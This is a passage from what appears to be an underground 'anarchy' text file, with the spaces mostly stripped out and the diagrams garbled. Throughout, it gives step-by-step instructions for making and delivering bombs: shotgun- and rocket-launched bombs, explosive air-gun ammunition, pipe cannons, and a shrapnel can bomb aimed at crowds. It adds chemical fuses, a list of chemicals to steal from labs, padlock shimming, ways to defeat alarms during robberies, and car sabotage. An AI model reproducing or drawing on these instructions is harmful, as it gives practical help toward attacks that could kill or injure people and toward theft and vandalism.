devicecanbeachemicalfirebottle(sect.3.43),apipebomb(sect4.42),ora
termitebomb(sect3.41and4.42).Afterthedeviceismade,itmustbesecurely
attachedtothedowel.Whenthisisdone,placethedowelbackintheshotgun.The
bomborincendiarydeviceshouldbeontheendofthedowel.Makesurethatthe
devicehasalongenoughfuse,lightthefuseandfiretheshotgun.Iftheprojectileis
nottooheavy,rangesofupto300ftarepossible.Adiagramofashotgunprojectile
isshownbelow:
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Special"grenadelauncherblanks"shouldbeuseduseofregularblankammunition
maycausethedevicetolandperilouslyclosetotheuser.
Specialammunitionforcompressedair/gasweapons
Thissectiondealswiththemanufactureofspecialammunitionforcompressedair
orcompressedgasweapons,suchaspumpB.Bguns,CO2B.Bgunsand.22cal
pelletguns.Theseweapons,althoughusuallythoughtofaskidstoys,canbemade
intoratherdangerousweapons.
SpecialammunitionforB.Bguns
AB.Bgun,forthismanuscript,willbeconsideredanytypeofrifleorpistolthat
usescompressedairorCO2gastofireaprojectilewithacalibreof.177,eitherB.B
orleadpellet.Suchgunscanhavealmostashighamuzzlevelocityasabulletfiring
rifle. Because of the speed at which a .177 calibre projectile flies, an impact
detonatingprojectilecaneasilybemadethathasacalibreof.177.Mostammunition
forgunsofgreaterthan.22calibreuseprimerstoignitethepowderinthebullet.
Theseprimerscanbeboughtatgunstores,sincemanypeopleliketoreloadtheir
ownbullets.Suchprimersdetonatewhenstruckbythefiringpinofagun.Theywill
alsodetonateiftheyarethrownatahardsurfaceatagreatspeed.Usually,theywill
alsofitinthebarrelofa.177calibregun.Iftheyareinsertedflatendfirst,theywill
detonatewhenthegunisfiredatahardsurface.Ifsuchaprimerisattachedtoa
pieceofthinmetaltubing,suchasthatusedinanantenna,thetubecanbefilledwith
anexplosive,besealedandfiredfromaB.Bgun.Adiagramofsuchaprojectile
appearsbelow:
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Thefrontprimerisattachedtothetubingwithadropofsuperglue.Thetubingis
thenfilledwithanexplosive,andtherearprimerisgluedon.Finally,atasselora
smallpieceofcottonisgluedtotherearprimer,toinsurethattheprojectilestrikes
onthefrontprimer.Theentireprojectileshouldbeabout3/4ofaninchlong.
Specialammunitionfor.22calibrePelletguns
A.22calibrepelletgunusuallyisequivalenttoa.22calrifle,atcloseranges.
Becauseofthis,relativelylargeexplosiveprojectilescanbeadaptedforusewith.22
calibreairrifles.Adesignsimilartothatusedinsection5,12issuitable,sincesome
capsulesareabout.22calibreorsmaller.Or,adesignsimilartothatinsection5,31,
could be used, only one would have to purchase black powder percussion caps,
insteadofammunitionprimers,sincetherearepercussioncapsthatareabout.22
calibre.A#11capistoosmall,butanythinglargerwilldonicely.
Rocketsandcannons
byJollyRoger
Rocketsandcannonaregenerallythoughtofasheavyartillery.Perpetratorsof
violencedonotusuallyemploysuchdevices,becausetheyaredifficultorimpossible
toacquire.Theyarenot,however,impossible tomake. Anyindividualwhocan
make or buyblackpowder or pyrodex canmakesuch things.Aterroristwitha
cannonorlargerocketis,indeed,somethingtofear.

Rockets

RocketswerefirstdevelopedbytheChineseseveralhundredyearsbeforetheMyth
ofChristbegan.Theywereusedforentertainment,intheformoffireworks.They
werenotusuallyusedformilitarypurposesbecausetheywereinaccurate,expensive,
andunpredictable.Inmoderntimes,however,rocketsareusedconstantlybythe
military,sincetheyarecheap,reliableandhavenorecoil.Perpetratorsofviolence,
fortunately,cannotobtainmilitaryrockets,buttheycanmakeorbuyrocketengines.
Modelrocketryisapopularhobbyofthespaceageandtolauncharocket,anengine
is required. Estes, a subsidiary of Damon, is the leading manufacturer of model
rocketsandrocketengines.Theirmostpowerfulengine,the"D"engine,candevelop
almost 12 lbs. of thrust; enough to send a relatively large explosive charge a
significantdistance.Othercompanies,suchasCenturi,produceevenlargerrocket
engines,whichdevelopupto30lbs.ofthrust.Thesemodelrocketenginesarequite
reliableandaredesignedtobefiredelectrically.Mostmodelrocketengineshave
threebasicsections.Thediagrambelowwillhelpexplainthem.
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casing
Theclaynozzleiswheretheigniterisinserted.Whenthearealabelled"thrust"is
ignited,the"thrust"material,usuallyalargesinglegrainofapropellantsuchas
blackpowderorpyrodex,burns,forcinglargevolumesofhot,rapidlyexpanding
gassesoutthenarrownozzle,pushingtherocketforward.Afterthematerialhasbeen
consumed,thesmokesectionoftheengineisignited.Itisusuallyaslowburning
material,similartoblackpowderthathashadvariouscompoundsaddedtoitto
producevisiblesmoke,usuallyblack,whiteoryellowincolour.Thissectionexists
sothattherocketwillbeseenwhenitreachesitsmaximumaltitude,orapogee.
Whenitisburnedup,itignitestheejectioncharge,labelled"eject".Theejection
chargeisfinelypowderedblackpowder.Itburnsveryrapidly,exploding,ineffect.
Theexplosionoftheejectionchargepushesouttheparachuteofthemodelrocket.It
couldalsobeusedtoignitethefuseofabomb.Rocketengineshavetheirown
peculiarlabellingsystem.Typicalenginelabelsare:1/4A2T,1/2A3T,A83,
B64,C67andD125.Theletterisanindicatorofthepowerofanengine."B"
enginesaretwiceaspowerfulas"A"enginesand"C"enginesaretwiceaspowerful
as"B"enginesandsoon.Thenumberfollowingtheletteristheapproximatethrust
oftheengine,inpounds.thefinalnumberandletteristhetimedelay,fromthetime
that the thrust period of engine burn ends until the ejection charge fires; "3T"
indicatesa3seconddelay.
Note:anextremelyeffectiverocketpropellantcanbemadebymixingaluminium
dustwithammoniumperchlorateandaverysmallamountofironoxide.Themixture
isboundtogetherbyanepoxy.
Basicrocketbomb
Arocketbombissimplywhatthenameimplies:abombthatisdeliveredtoits

targetbymeansofarocket.Mostpeoplewhowouldmakesuchadevicewouldusea
modelrocketenginetopowerthedevice.Bycuttingfinsfrombalsawoodandgluing
themtoalargerocketengine,suchastheEstes"C"engine,abasicrocketcouldbe
constructed. Then, by attaching a "crater maker" or CO2 cartridge bomb to the
rocket,abombwouldbeadded.Toinsurethatthefuseofthe"cratermaker"(see
sect.4.42)ignited,theclayovertheejectionchargeoftheengineshouldbescraped
offwithaplastictool.Thefuseofthebombshouldbetouchingtheejectioncharge,
asshownbelow.
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smoke***
ejectioncharge::::
Ducttapeisthebestwaytoattachthecratermakertotherocketengine.Notein
thediagramtheabsenceoftheclayovertheejectionchargeManydifferenttypesof
explosive payloads can be attached to the rocket, such as a high explosive, an
incendiarydeviceorachemicalfirebottle.Eitherfourorthreefinsmustbegluedto
therocketenginetoinsurethattherocketfliesstraight.Thefinsshouldlooklikethe
followingdiagram:
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Theleadingedgeandtrailingedgeshouldbesandedwithsandpapersothatthey
arerounded.Thiswillhelpmaketherocketflystraight.Atwoinchlongsectionofa
plasticstrawcanbeattachedtotherockettolaunchitfrom.Aclotheshangercanbe
cutandmadeintoalaunchrod.Thesegmentofaplasticstrawshouldbegluedtothe
rocketengineadjacenttooneofthefinsoftherocket.Afrontviewofacompleted

rocketbombisshownbelow.
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Bycuttingacoathangerattheindicatedarrows,andbendingit,alaunchrodcan
bemade.Afterafuseisinsertedintheengine,therocketissimplysliddownthe
launchrod,whichisputthroughthesegmentofplasticstraw.Therocketshouldslide
easilyalongacoathanger,suchastheoneillustratedonthefollowingpage:
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Longrangerocketbomb
Long range rockets can be made by using multi stage rockets. Model rocket
engineswithan"0"foratimedelayaredesignedforuseinmultistagerockets.An
enginesuchastheD120isanexcellentexampleofsuchanengine.Immediately
after thethrust periodis over,the ejectionchargeexplodes. If another engineis
placeddirectlyagainstthebackofan"0"engine,theexplosionoftheejectioncharge
willsendhotgassesandburningparticlesintothenozzleoftheengineaboveitand
ignitethethrustsection.Thiswillpushtheused"0"engineoffoftherocket,causing
anoveralllossofweight.Themainadvantageofamultistagerocketisthatitloses
weight as travels and it gains velocity. A multi stage rocket must be designed
somewhatdifferentlythanasinglestagerocket,since,inorderforarockettofly
straight, its centre of gravity must be ahead of its centre of drag. This is
accomplishedbyaddingweighttothefrontoftherocketorbymovingthecentreof
dragbackbyputtingfinsontherocketthatarewellbehindtherocket.Adiagramof
amultistagerocketappearsonthefollowingpage:
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Thefuseisputinthebottomengine.Two,threeorevenfourstagescanbeadded
toarocketbombtogiveitalongerrange.Itisimportant,however,thatforeach
additionalstage,thefinareagetslarger.
Basicpipecannon
byExodus
A simple cannon canbe made froma thick pipeby almost anyone.The only
difficult part is finding a pipe that is extremely smooth on its interior. This is
absolutelynecessary;otherwise,theprojectilemayjam.Copperoraluminiumpiping
is usually smooth enough, but it must also be extremely thick to withstand the
pressuredevelopedbytheexpandinghotgassesinacannon.Ifoneusesaprojectile
suchasaCO2cartridge,sincesuchaprojectilecanbemadetoexplode,apipethatis
about1,52feetlongisideal.Suchapipemusthavewallsthatareatleast1/3to1/
2aninchthick,andbeverysmoothontheinterior.Ifpossible,screwanendplug
into the pipe. Otherwise, the pipe must be crimped and folded closed, without
crackingortearingthepipe.Asmallholeisdrilledinthebackofthepipenearthe
crimp or end plug. Then, all that need be done is fill the pipe with about two
teaspoonsofgradeblackpowderorpyrodex,insertafuse,packitlightlybyramming
awadoftissuepaperdownthebarrelanddropinaCO2cartridge.Bracethecannon
securelyagainstastrongstructure,lightthefuseandrun.Ifthepersonislucky,he
willnothaveoverchargedthecannonandhewillnotbehitbypiecesofexploding
barrel.Suchacannonwouldlooklikethis:
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AnexplodingprojectilecanbemadeforthistypeofcannonwithaCO2cartridge.
Itisrelativelysimpletodo.Justmakeacratermakerandconstructitsuchthatthe
fuseprojectsaboutaninchfromtheendofthecartridge.Then,wrapthefusewith
ducttape,coveringitentirely,exceptforasmallamountattheend.Putthisinthe
pipecannonwithoutusingatissuepaperpackingwad.
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When thecannonisfired,itwillignitetheendofthefuseandshoottheCO2
cartridge.Theexplosivefilledcartridgewillexplodeinaboutthreeseconds,ifall
goeswell.Suchaprojectilewouldlooklikethis:(addmatchhead)

Rocketfiringcannon
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A rocket firing cannon can be made exactly like a normal cannon; the only
differenceistheammunition.Arocketfiredfromacannonwillflyfurtherthana
rocketalone,sincetheactionofshootingitovercomestheinitialinertia.Arocket

thatislaunchedwhenitismovingwillgofurtherthanonethatislaunchedwhen
itis stationary.Such a rocket wouldresembleanormalrocketbomb,exceptit
wouldhave no fins.Itwouldlookliketheimagetotheleft.Thefuseonsucha
device would obviouslybeshort,butitwouldnotbeigniteduntil therocket's
ejection charge exploded. Thus, the delay before the ejection charge, in effect,
becomesthedelaybeforethebombexplodes.Notethatnofuseneedbeputinthe
rocket;theburningpowderinthecannonwilligniteitandsimultaneouslypushthe
rocketoutofthecannonatahighvelocity.Wouldnotbeigniteduntiltherocket's
ejectionchargeexploded.
Reinforcedpipecannon
Inhighschool,afriendandIbuiltcannonsandlaunchedCO2cartridgesetc.
However,thedesignofthecannoniswhatIwanttoaddhere.Itwasmadefrom
plainsteelwaterpipe,steelwireandlead.Hereisacrosssection:
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Wedugintothesideofasandpileandbuiltachimneyoutoffirebrick.Thenwe
stoodtheassembledpipeandwireonendinthechimney,sittingonsomebricks.We
thenhadablowtorchheatingupthechimney,sothatthepipewasredhot.Thenwe
pouredmoltenleadintothespacebetweenthepipes.Ifthecapsaren'tscrewedon
realtight,someoftheleadwillleakout.Ifthathappens,turnofftheblowtorchand
thepipewillcoolenoughandtheleadwillstiffenandstoptheleak.Weusedhome
meadeandcommercialblackpowder,andslowsmokelessshotgunpowderinthis
thing.Afterhundredsofshotswecutitupandtherewasnoevidenceofcracksor
swellingoftheinnerpipe.
Smokebombs4.14

byExodus
Onetypeofpyrotechnicdevicethatmightbeemployedbyaterroristinmanyway
wouldbeasmokebomb.Suchadevicecouldconcealthegetawayrouteorcausea
diversionorsimplyprovidecover.Suchadevice,wereittoproduceenoughsmoke
that smelled bad enough, could force the evacuation of a building, for example.
Smokebombsarenotdifficulttomake.Althoughthemilitarysmokebombsemploy
powdered white phosphorus or titanium compounds, such materials are usually
unavailabletoeventhemostwellequippedterrorist.Instead,he/shewouldhaveto
make the smoke bomb for themselves. Most home made smoke bombs usually
employsometypeofbasepowder,suchasblackpowderorpyrodex,tosupport
combustion.Thebasematerialwillburnwell,andprovideheattocausetheother
materialsinthedevicetoburn,butnotcompletelyorcleanly.Tablesugar,mixed
with sulphur and a base material, produces large amounts of smoke. Sawdust,
especiallyifithasasmallamountofoilinitandabasepowderworkswellalso.
Otherexcellentsmokeingredientsaresmallpiecesofrubber,finelygroundplastics,
andmanychemicalmixtures.Thematerialinroadflarescanbemixedwithsugar
andsulphurandabasepowderproducesmuchsmoke.Mostofthefueloxodizer
mixtures,if theratiois not correct,producemuchsmoke whenadded toa base
powder.Thelistofpossibilitiesgoesonandon.Thetricktoasuccessfulsmoke
bombalsoliesinthecontainerused.Aplasticcylinderworkswellandcontributesto
thesmokeproduced.Theholeinthesmokebombwherethefuseentersmustbe
largeenoughtoallowthematerialtoburnwithoutcausinganexplosion.Thisis
anotherplusforplasticcontainers,sincetheywillmeltandburnwhenthesmoke
materialignites,producinganopeninglargeenoughtopreventanexplosion.
Simplesmoke
Thefollowingreactionshouldproduceafairamountofsmoke.Sincethisreaction
isnotallthatdangerousyoucanuselargeramountsifnecessary:

6 pt.
zinc powder1pt.sulfurpowder
Insertaredhotwireintothepile,stepback.
Colouredflames
Colouredflamescanoftenbeusedasasignallingdeviceforterrorists.byputtinga
ballofcolouredflamematerialinarocket;therocket,whentheejection chargefires,
willsendoutaburningcolouredball.Thematerialsthatproducethedifferentcolours
offlamesappearbelow.
ColourMaterialUsedin
redstrontiumroadflares,saltsredsparklers

(strontiumnitrate)
greenbariumsaltsgreensparklers

(bariumnitrate)
yellowsodiumsaltsgoldsparklers
(sodiumnitrate)
bluepowderedcopperbluesparklers,
oldpennies
whitepowderedmagnesiumfirestartersoraluminium
aluminiumfoil
purplepotassiumpermanganatepurplefountains,
treatingsewage
Firecrackers
byJollyRoger
A simple firecracker can be made from cardboard tubing and epoxy. The
instructionsarebelow:Cutasmallpieceofcardboardtubingfromthetubeyouare
using."Small"meansanythinglessthan4timesthediameterofthetube.Setthe
sectionoftubingdownonapieceofwaxpaperandfillitwithepoxyandthedrying
agent toa height of 3/ 4thediameter of thetubing.Allow the epoxytodryto
maximumhardness,asspecifiedonthepackage.Whenitisdry,putasmallholein
themiddleofthetube,andinsertadesiredlengthoffuse.Fillthetubewithanytype
of flame sensitive explosive. Flash powder, pyrodex, black powder, potassium
picrate,leadazide,nitrocelluloseoranyofthefastburningfueloxodizermixtures
willdonicely.Fillthetubealmosttothetop.Packtheexplosivetightlyinthetube
withawadoftissuepaperandapencilorothersuitableramrod.Besuretoleave
enoughspaceformoreepoxy.Filltheremainderofthetubewiththeepoxyand
hardenerandallowittodry.Forthosewhowishtomakespectacularfirecrackers,
alwaysuseflashpowder,mixedwithasmallamountofothermaterialforcolours.
By crushing the material on a sparkler and adding it to the flash powder, the
explosionwillbethesamecolourasthesparkler.Byaddingsmallchunksofsparkler
material,thedevicewillthrowoutcolouredburningsparks,ofthesamecolourasthe
sparkler.Byaddingpowderediron,orangesparkswillbeproduced.Whitesparks
canbeproducedfrommagnesiumshavingsorfromsmall,lightlycrumpledballsof
aluminiumfoil. Example:SupposeIwishtomakeafirecrackerthatwillexplode
witharedflash,andthrowoutwhitesparks. First,Iwouldtakearoadflareand
finelypowderthematerialinsideit.Or,Icouldtakearedsparklerandfinelypowder
it.Then,Iwouldmixasmallamountofthismaterialwiththeflashpowder.
Note:Flashpowdermayreactwithsomematerialsthatitismixedwithand
explodespontaneously!
Iwouldmixitinaratioof9partsflashpowderto1partof flareor sparkler
material,andaddabout15smallballsofaluminiumfoilIwouldstorethematerialin
aplasticbagovernightoutsideofthehouse,tomakesurethatthestuffdoesn'treact.
Then,inthemorning,Iwouldtestasmallamountofitandifitwassatisfactory,I
wouldputitinthefirecracker.Ifthistypeoffirecrackerismountedonarocket
engine,professionaltosemiprofessionaldisplayscanbeproduced.

Skyrockets
Animpressivehomemadeskyrocketcaneasilybemadeinthehomefrommodel
rocketengines.Estesenginesarerecommended.BuyanEstesModelRocketEngine
ofthedesiredsize,rememberingthatthepowerdoubleswitheachletter.(Seesect.6.
1fordetails).Eitherbuyasectionofbodytubeformodelrocketsthatexactlyfitsthe
engine,ormakeatubefromseveralthicknessesofpaperandglue.Scrapeoutthe
claybackingonthebackoftheengine,sothatthepowderisexposed.Gluethetube
totheengine,sothatthetubecoversatleasthalftheengine.Pourasmallchargeof
flashpowderinthetube,about1/2aninch.Byaddingmaterialsasdetailedinthe
sectiononfirecrackers,varioustypesofeffectscanbeproduced.ByputtingJumping
Jacksorbottlerocketswithoutthestickinthetube,spectaculardisplayswithmoving
fireballsorM.R.V.'scanbeproduced.Finally,bymountingmanyhomemade
firecrackersonthetubewiththefusesinthetube,multiplecolouredburstscanbe
made.
Romancandles
Romancandlesareimpressivetowatch.Theyarerelativelydifficulttomake,
comparedtotheothertypesofhomemadefireworks,buttheyarewellworththe
trouble.Buya1/2inchthickmodelrocketbodytubeandreinforceitwithseveral
layersofpaperand/ormaskingtape.Thismustbedonetopreventthetubefrom
exploding.Cutthetubeintoabout10inchlengths.Putthetubeonasheetofwax
paper,andsealoneendwithepoxyandthedryingagent.About1/2ofaninchis
sufficient.Putaholeinthetubejustabovethebottomlayerofepoxyandinserta
desiredlengthofwaterprooffuse.Makesurethatthefusefitstightly.Pourabout1
inch of pyrodex or gunpowder down the open end of the tube. Make a ball by
powderingabouttwo6inchsparklersofthedesiredcolour.Mixthispowderwitha
smallamountofflashpowderandasmallamountofpyrodex,tohaveafinalratio
(byvolume)of60%sparklermaterial/20%flashpowder/20%pyrodex.After
mixingthepowderswell,addwater,onedropatatime,andmixingcontinuously,
untiladamppasteisformed.Thispasteshouldbemouldablebyhandandshould
retainitsshapewhenleftalone.Makeaballoutofthepastethatjustfitsintothe
tube.Allowtheballtodry.Whenitisdry,droptheballdownthetube.Itshould
slidedownfairlyeasily.Putasmallwadoftissuepaperinthetubeandpackitgently
againsttheballwithapencil.Whenreadytouse,putthecandleinaholeinthe
ground,pointedinasafedirection,lightthefuse,andrun.Ifthedeviceworks,a
colouredfireballshouldshootoutofthetubetoaheightofabout30feet.Thisheight
canbeincreasedbyaddingaslightlylargerpowderchargeinstep4orbyusinga
slightlylongertube.Iftheballdoesnotignite,addslightlymorepyrodexinstep5.
TheballsmadeforRomancandlesalsofunctionverywellinrockets,producingan
effectoffallingcolouredfireballs.
Listofsuppliersandmoreinformation

byJollyRoger
Most,ifnotall,oftheinformationinthispublicationcanbeobtainedthrougha
publicorUniversitylibrary.Therearealsomanypublicationsthatareputoutby
peoplewhowanttomakemoneybytellingotherpeoplehowtomakeexplosivesat
home.Addsforsuchappearfrequentlyinparamilitarymagazinesandnewspapers.
This list is presented to show the large number of places that information and
materialscanbepurchasedfrom.Italsoincludesfireworkscompaniesandthelike.
CompanynameandaddressWhatcompanysells
FullAutoCo.Inc.explosiverecipes,papertubing
P.O.Box1881
Murfreesboro,TN37133
Unlimitedchemicalsandfuse
Box1378SN
Hermiston,Oragon97838
AmericanFireworksNewsFireworksNewsMagazinewith
SRBox30sourcesandtechniques
Dingman'sFerry,
Pennsylvania18328
BarnettInternationalInc.bows,crossbows,archerymaterials
125RunnelsStreetairrifles
P.O.Box226
PortHuron,Michigan48060
CrossmanAirGunsairguns
P.O.Box22927
Rochester,NewYork14692
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Militaryexplosives
Twomanualsofinterest:Duponts"Blaster'sHandbook",a$20manualmainly
usefulforrockandseismographicoperations.Atlas's"PowderManual"or"Manual
ofRockBlasting"(Iforgetthetitle,it'sintheoffice).Thisisa$60book,wellworth
the cash, dealing with the above two topics, plus demolitions and non quarry
blasting.
Checklistforraidsonlabs
byExodus
Intheend,theseriousterroristwouldprobablyrealizethatifhe/shewishestomake
a truly useful explosive, he or she will have to steal the chemicals to make the
explosivefromalab.Alistofsuchchemicalsinorderofprioritywouldprobably
resemblethefollowing:

LiquidsSolids

NitricAcidPotassiumPerchlorate
SulphuricAcidPotassiumChlorate
95%EthanolPicricAcid(usuallyapowder)
TolueneAmmoniumNitrate
PerchloricAcidPowderedMagnesium
HydrochloricAcidPowderedAluminium
PotassiumPermanganate

Gases
Sulphur(flowersof)
Mercury
PotassiumNitrate
HydrogenPotassiumHydroxide
OxygenPhosphorus
ChlorineSodiumAzide
CarbonDioxideLeadAcetate
BariumNitrate
Printthissheetoutandcarryitwithyou!Memorizeit,anything.Itis invaluable.
Allofthesechemicalsshouldbecarriedinyourschoollab.Happyhunting!:)

MiscAnarchy!
byJollyRoger
Part2Tennisballcannons
Information from the Usenet. The Usenet is a worldwide network of 15 000
machinesandover500000peopleandgrowing!AddendumbyTheEditor:Ifyou
aren'tintheChicagoarea,checkalocalBBSlist.IfyouseeaBBSwhichrunsunder
Unix,oddsareitcarriesUsenet.Theappropriateplacetolookisrec.pyrotechnics.
Atthistime(twelveyearsago)mostsoftdrinkcanswererolledtinratherthanthe
mouldedaluminium.Wewouldcutthetopsandbottomsoffofabunchofthemand
tapethemtogetherwithducttape,formingatubeoftwofeetormore.Attheendwe
wouldtapeacanwiththebottomintact,moreholespunched(withacanopener)
around the top and a small hole in the side at the base. We then fastened this
contraptiontoatripodsowecouldaimitreliably.Anyobjectthatcamesomewhat
closetofillingthetubewasthenplacedtherein.Intheshop,weusedtheclockasa
targetandanemptyplasticsolderspoolasammunition,withtapeovertheendsof
thecentreholeandsometimesfilledwithwashersforweight.Whentakentoparties
orpicnics,wewouldusewhateverwashandy.Hotdogrollsornapkinsfilledwith
potatochipsprovidedspectacularentertainment.Onceloaded,asmallamountof
lighterfluidwaspouredintotheholeinthesideoftheendcanandallowedto
vaporizeforafewmoments.The"firecontroltechnician"wouldannounce"Firein
theHole"andigniteit.Boom!Whoosh!Theclockneverworkedafterthat!Our
versionofthepotatochipcannon,originallydesignedaroundthePringlespotato
chipcan, wasbuilt similarly.Oursused cokecans,sixwiththetopand bottom

removedandtheseventhhadBottleopenerholesallaroundoneend,thetopofthis
canwascoveredwithagridorpieceofwirescreeningtokeepthetennisballfrom
fallingallthewaytothebottom.Thiswasspiralwrappedwithatleasttworollsof
ducttape.Awoodenshoulderrestandforwardhandgripwastapedtothetube.For
ignitionweusedlanternbatteriestoamodelTcoil,actuatedbyapushbuttononthe
handgrip.AfreshWilsontennisballwasstuffedallthewaybacktothegrid,anda
droportwooflighterfluidwasdroppedinoneoftwoholesintheend.Theignition
wirewaspokedthroughtheotherhole.Wewouldthenlieinambush,waitingfor
somethingtomove.Whenfiredwiththeproperair/fuelmixture,asatisfyingthoomp
!Atmaximumrangetheballwouldtravelabout100yardswitha45degreelaunch
angle.Closeruptheballwouldleaveaweltonanwarringopponent.Whenlaunched
atamovingcarthethudasithitthedoorwouldgenerallyrattleanyoneinside.
Luckilywenevercompletedtheonethatshotgolfballs.
Part4MoreFunStuffforTerroristsCarbideBomb
Thisis extremelydangerous ! Exerciseextremecaution.Obtainsomecalcium
carbide.Thisisthestuffthatisusedincarbidelampsandcanbefoundatnearlyany
hardwarestore.Takeafewpiecesofthisstuff(itlookslikegravel)andputitina
glassjarwithsomewater.Putalidontightly.Thecarbidewillreactwiththewater
toproduceacetylenecarbonatewhichissimilartothegasusedincuttingtorches.
Eventuallytheglasswithexplodefrominternalpressure.Ifyouleaveaburningrag
nearby,youwillgetanicefireball!
AutoExhaustFlameThrower
Forthisone,allyouneedisacar,asparkplug,ignitionwireandaswitch.Installthe
sparkplugintothelastfourorfiveinchesofthetailpipebydrillingaholethatthe
plugcanscrewintoeasily.Attachthewire(thisisregularinsulatedwire)tooneside
oftheswitchandtothesparkplug.Theothersideoftheswitchisattachedtothe
positiveterminalonthebattery.Withthecarrunning,simplyhittheswitchand
watchtheflamesfly!!!Againbecarefulthatnooneisbehindyou!Ihaveseen
someoftheseflamesgo20feet!!!
Part5
ThisisallvariousfilesIgleanedfromBBS's.(Added82390).Balloonsarefun
toplaywithinchemlab,fillthemwiththegasthatyougetoutofthetapsonthelab
desks,thentieuptheballoontight,anddropitoutthewindowtotheburnoutsbelow,
you know,the ones that are always smoking, they loveto popballoons with lit
cigarette.Getthepicture?Good!
Openingcombolocks
[touchedupbyV.T.TheEditor]

Firstofall,letmetellyouaboutthesetupofalock.Whenthelockislocked,there
isacurvedpieceofmetalwedgedinsidethelittlenotchonthehorseshoeshapedbar
(knownastheshackle)thatispushedintothelockwhenyoulockit.Tofreethis
wedge,youusuallyhavetoturnthelocktothedesiredcombinationandthepressure
onthewedgeisreleasedthereforelettingthelockopen.Iwillnowtellyouhowto
makeapicksoyoucanopenalockwithouthavingtowasteallthattimeturningthe
combination(thisalsohelpswhenyoudon'tknowthecombinationtobeginwith).To
bypassthishassle,simplytakeathinnedhairpin(fileitdown)oraopenedoutpiece
ofacollapsingantenna(theinsidediameterofthecurvedpieceofmetalshouldbe
thesameasthediameteroftheshackleifthemetalistoothick,usefinesandpaper
tothinitdown.Onceyouhaveyourhairpin(makesureit'smetal),taketheridged
sideandbreakitoffrightbeforeitstartstomakeaUturnontothestraightside.The
curvedpartcannowbeusedasahandle.Now,usingafile,filedowntheotherend
untilitisfairlythin.Youshoulddothistomanyhairpinsandfilethemsotheyareof
differentthicknessessoyoucanJimmyvariouslocks.Lookatalocktoseewhich
sidethelockopensfrom.Ifyoucan'ttell,youwilljusthavetotrybothsides.When
yafindoutwhatsideitopensfrom,takethelockpickandstickthefiledendintothe
insideofthehorseshoeshapedbaronwhicheversidethelockopensfrom.Now,put
pressureonthehandleofthelockpick(pushingdown,intothecrack)andpullthe
lockupanddown.Thelockwillthenopenbecausethepickseparatedthewedgeand
thenotchallowingittoopen.Also,thistechniqueworksbestonAmericanlocks.I
haveneverpickedaMasterlockbeforebecauseoftheshapeapressureofthewedge
butifanyonedoesit,letmeknowhowlongittook.Also,theMasterlockcasingis
verytightsoyoucan'tgettheshimin.
Pyrotechnicaldelights
writtenbyragnerRocker
Many of you out there probably have fantasies of revenge against teachers,
principalsandotherpeoplewhoarejustassholes.Dependingonyourlevelofhatred
of this person i would advise that you do some of these following experiments:
Pouringdishsoapintothegastankofyourenemymanyofyoualreadyknowthat
gasoline+dishsoap(e.g.joy,palmoliveetc.)formamixturecallednapalm.Now
napalmisajellylikesubstanceusedinbombs,flamethrowersetc.Nowyoucan
onlyguesswhatthismixturewoulddotosomeone'sfuelline!!!Spreadingdirty
motoroil/castoroilonsomeone'sexhaustpipewhentheexhaustpipeheatsup(and
itwill!!!)themotoroilorcastoroilonthepipewillcausethick, disgustingsmoketo
oozeforthfromthebackofthatcar.Whoknowsmaybehe/shemightbepulledover
andgivenaticket!!!LightBulbBombseepartoneofthefile.Simplesmoke/stink
bombyoucanpurchasesulphuratadrugstoreunderthenameflowersofsulphur.
Nowwhensulphurburnsitwillgiveoffaverystrongodourandplentyofsmoke.
Nowallyouneedisafusefromafirecracker,atincanandthesulphur.Fillthecan
withsulphur(packverylightly),putaluminiumfoiloverthetopofthecan,pokea

smallholeintothefoil,insertthewickandlightitandgetoutoftheroomifyou
valueyourlungs.Youcanfindmanyusesforthis(oratleastihopeso).
Funwithalarms
AfactIforgottomentioninmypreviousalarmarticlesisthatonecanalsouse
polyurethanefoaminacantosilencehornsandbells.Youcanpurchasethisatany
hardwarestoreasinsulation.Itiseasytohandleanddriesfaster.Manypeoplethat
travel carryapocket alarm withthem.this alarmisasmall devicethatis hung
aroundthedoorknobandwhensomeonetouchestheknobhisbodycapacitancesets
offthealarm.Thesenastynuisancescanbefoundbywalkingdownthehallsofa
hotelandtouchingallthedoorknobsveryquickly.Ifyouhappentochanceupon
one,attacha3'lengthofwireorothermetalobjecttotheknob.Thiswillcausethe
sleepingbusinesspiginsidetothinksomeoneisbreakinginandcallroomservicefor
help.Allsortsoffunandgameswillensue.Somehighsecurityinstallationsuse
keypadsjustliketouchtonepads(aregisteredtrademarkofbellsystems)toopen
locksordisarmalarms.mostusethreeorfourdigits.Tofigureoutthecode,wipethe
keypadfreefromallfingerprintsbyusingaragsoakedinrubbingalcohol.Afterthe
keypadhasbeenusedjustapplyfingerprintdustandallfourdigitswillbemarked.
Nowallyouhavetodoisfigureouttheorder.Ifyouwanttohavesomefunwitha
keypad,trypressingthe*and#atthesametime.Manyunitsusethisasapanic
button.Thiswillbringtheownerandthecopsrunningandeveronewillhavea
goodtime.Nevertrytoremovethesepanelsfromthewall,astheyhavebuiltin
tamperswitches.Onthesubjectofholdups,mostplaces(includingsupermarkets,
liqueurstoresetc.) havewhatisknownasamoneyclip.Theselittlenastiesare
placedatthebottomofamoneydrawerandwhenthelastfewbillsarewithdrawna
switchclosesandsetsthealarmoff.That'swhywhenyoumakeyourwithdrawalit's
best tohelpyourself soyoucancheckfor theselittlenasties.Ifyoufindthem,
merelyinsertonesunderneaththepileoftwentiesandthenpulloutthetwenties,
leavingtheonedollarbillbehindtopreventthecircuitfromclosing.
Softdrinkcanbombanarticlefromthebook:thepoorman'sJamesBond
byKurtSaxon
Thisisanantipersonnelbombmeantformillingcrowds.Thebottomofasoft
drinkcanishalfcutoutandbentback.Agiantfirecrackerorotherexplosiveisputin
andsurroundedwithnutsandboltsorrocks.Thefuseisthenarmedwithachemical
delayinaplasticdrinkingstraw.Afterfirstmakingsurethereareno children
nearby,theacidorglycerine.
!!
!!
!!<Chemicaligniterisputintothestrawandthecanissetdownbya
treeorwallwhereitwillnotbeknockedover.Thedelayshould
!!1!!giveyouthreetofiveminutes.Itwillthenhaveashatteringeffect

!=====!onpassersby.
!*!!"!
!!!!
!!!!<Bigfirecracker
!!!%!
!====!
!!
!#!Itishardlylikelythatanyonewouldpickupanddrinkfrom
!!someoneelse's
!!!<Nuts&Boltssoftdrinkcan.Butifsuchacrudepersonshouldtry
!/!todrinkfromyourbombhewouldbreakanastyhabitfast!
!!

PyroBook][byCaptHackandGreyWolf
Timedelayedchemicalfuse
Put1teaspoonfullofofpotassiumpermanganateinatincan.Addafewdropsof
glycerine.Wait34min.Getthehellout.Thestuffwillsmoke,thenburstinto
flame.
